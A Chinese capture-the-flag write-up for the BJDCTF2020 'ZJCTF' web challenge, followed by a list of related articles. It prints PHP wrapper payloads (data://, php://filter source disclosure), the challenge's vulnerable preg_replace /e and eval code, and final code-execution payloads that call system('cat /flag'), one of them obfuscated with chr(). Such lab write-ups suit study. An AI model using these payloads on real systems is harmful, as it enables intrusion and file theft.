BUU [BJDCTF2020]ZJCTF,不过如此

简介: BUU [BJDCTF2020]ZJCTF,不过如此

BUU [BJDCTF2020]ZJCTF,不过如此

和BUU [ZJCTF 2019]NiZhuanSiWei一样。

?text=data://text/plain,I have a dream
&file=php://filter/read=convert.base64-encode/resource=next.php

得到next.php源码。

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
  @eval($_GET['cmd']);
}

最终目的是调用getFlag()然后命令执行。

get和session两个值一样的,名字为id的变量,没什么用,估计是用来混淆不知道的那些人。

preg_replace()的/e模式存在命令执行。

深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)

最终payload:

?text=data://text/plain,I have a dream&file=next.php&
+
\S*=${getFlag()}&cmd=system('cat /flag');
\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
//chr拼接system的参数
\S*=${phpinfo()}可查看phpinfo()

目录
相关文章
|
6月前
|
Python
BUUCTF [BJDCTF2020]一叶障目 1
BUUCTF [BJDCTF2020]一叶障目 1
169 0
|
6月前
BUUCTF [BJDCTF2020]认真你就输了 1
BUUCTF [BJDCTF2020]认真你就输了 1
144 0
|
6月前
BUUCTF [BJDCTF2020]藏藏藏 1
BUUCTF [BJDCTF2020]藏藏藏 1
77 0
BUUCTF---[BJDCTF2020]你猜我是个啥
BUUCTF---[BJDCTF2020]你猜我是个啥
|
3月前
|
PHP
BUU [BJDCTF2020]The mystery of ip
BUU [BJDCTF2020]The mystery of ip
20 1
|
3月前
[BJDCTF 2020]鸡你太美
[BJDCTF 2020]鸡你太美
39 0
|
3月前
|
数据库
BUU [0CTF 2016]piapiapia
BUU [0CTF 2016]piapiapia
25 0
|
3月前
BUU [ZJCTF 2019]NiZhuanSiWei
BUU [ZJCTF 2019]NiZhuanSiWei
27 0
BUUCTF---[BJDCTF2020]藏藏藏1
BUUCTF---[BJDCTF2020]藏藏藏1
|
测试技术 Go 开发工具
来一个嫦娥奔月祝 xdm 中秋快乐
GOLang 有很多图形库,咱们今天玩一个简单的标准图形库 image image 包实现了一个基本的二维图像库,基本的接口叫做 Image 。